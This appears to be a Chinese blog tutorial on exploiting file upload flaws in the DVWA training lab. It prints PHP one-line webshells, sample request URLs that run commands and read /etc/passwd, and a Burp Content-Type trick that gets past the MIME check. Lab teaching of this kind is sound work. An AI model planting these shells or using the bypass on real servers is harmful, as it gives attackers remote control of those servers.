• 文件上传漏洞


    • 前言

    文件上传漏洞就是在web前端对用户上传的文件没有做过滤,攻击者利用此漏洞上传webshell,因此可以远程操控服务器。

    • webshell

    小马:一句话木马也称为小马,即整个shell代码只有一行,一般是系统执行函数
    大马:代码量和功能比小马多,一般都会进行二次编码加密,防止被安全防火墙/入侵系统检测到

    1  #eval 使用php函数,例如phpinfo();
    2    <?php eval($_REQUEST['cmd']);?>
    3   http://192.168.152.147/dvwa/hackable/uploads/webshell2.php?cmd=phpinfo();
    1 #system 使用Linux系统命令,例如ls,cp,rm
    2 <?php system($_request['cmd']);?>
    3   http://192.168.152.147/dvwa/hackable/uploads/webshell3.php?cmd=cat /etc/passwd
    • 中国菜刀

    说明request是在网页端输入变量访问,post则是使用中国菜刀之类的工具连接,是C/S架构

    1 <?php @eval($_post['cmd']);?>
    • 环境部署

    本实例使用DVWA作为靶场,owasp官网已经将该环境打包成ova文件,直接下载安装即可。

    part 1。将dvwa安全级别设置为low。该级别对于上传的文件没有做限制,可以上传任意的文件。

    1  <?php     if (isset($_POST['Upload'])) {              $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";             $target_path = $target_path . basename($_FILES['uploaded']['name']);             $uploaded_name = $_FILES['uploaded']['name'];             $uploaded_type = $_FILES['uploaded']['type'];             $uploaded_size = $_FILES['uploaded']['size'];              if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){                   if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {                                      echo '<pre>';                     echo 'Your image was not uploaded.';                     echo '</pre>';                                        } else {                                      echo '<pre>';                     echo $target_path . ' succesfully uploaded!';                     echo '</pre>';                                          }             }             else{                 echo '<pre>Your image was not uploaded.</pre>';             }         } ?> 

    1、访问https://192.168.152.147/dvwa/vulnerabilities/upload/,选择【upload】,上传一句话木马。上传成功后提示文件上传成功并显示文件路径

    1 <?php @eval($_POST['caidao']);?>

     2、使用中国菜刀连接,如下图所示,输入一句话木马中的密码’caidao’

     右键选择文件管理,即可进入网站文件管理后台。

    part 2。将安全级别设置成medium。该级别对于上传的文件做了MIME(多用途互联网邮件扩展)限制,只能上传在Content-Type为image/jpeg类型文件。当上传PHP脚本文件时,浏览器将拒绝上传此文件到后台服务器,因此需要使用burpsuite来绕过此限制。

    查看文件源码。

     1  <?php
     2     if (isset($_POST['Upload'])) {
     3 
     4             $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
     5             $target_path = $target_path . basename($_FILES['uploaded']['name']);
     6             $uploaded_name = $_FILES['uploaded']['name'];
     7             $uploaded_type = $_FILES['uploaded']['type'];
     8             $uploaded_size = $_FILES['uploaded']['size'];
     9 
    10             if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
    11 
    12 
    13                 if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
    14                 
    15                     echo '<pre>';
    16                     echo 'Your image was not uploaded.';
    17                     echo '</pre>';
    18                     
    19                   } else {
    20                 
    21                     echo '<pre>';
    22                     echo $target_path . ' succesfully uploaded!';
    23                     echo '</pre>';
    24                     
    25                     }
    26             }
    27             else{
    28                 echo '<pre>Your image was not uploaded.</pre>';
    29             }
    30         }
    31 ?> 

    此处省去burpsuite的基本设置。上传文件前使用burp拦截数据包,此content-type改为image/jpeg,可以绕过此限制,将PHP文件上传到后台服务器,如图所示

     part3,将安全级别设置为high,此级别将会对上传的文件后缀名进行检验。

  • 相关阅读:
    UOS系统进入单用户模式解决su: 鉴定故障和sudo: /usr/bin/sudo 必须属于用户 ID 0(的用户)并且设置 setuid 位
    统一UOS操作系统 修改源地址
    linux cmake error no version information available
    Linux error /usr/bin/ld: cannot find -lJsoncpp
    容器时代的持续交付工具---Drone:Drone使用
    容器时代的持续交付工具---Drone:Drone介绍与安装
    asp.net core 中灵活的配置方式
    View Components as Tag Helpers,离在线模板编辑又进一步
    asp.net core mvc中如何把二级域名绑定到特定的控制器上
    提供服务注册描述信息来简化服务注册方式
  • 原文地址:https://www.cnblogs.com/leeqizhi/p/11469634.html
Copyright © 2020-2023  润新知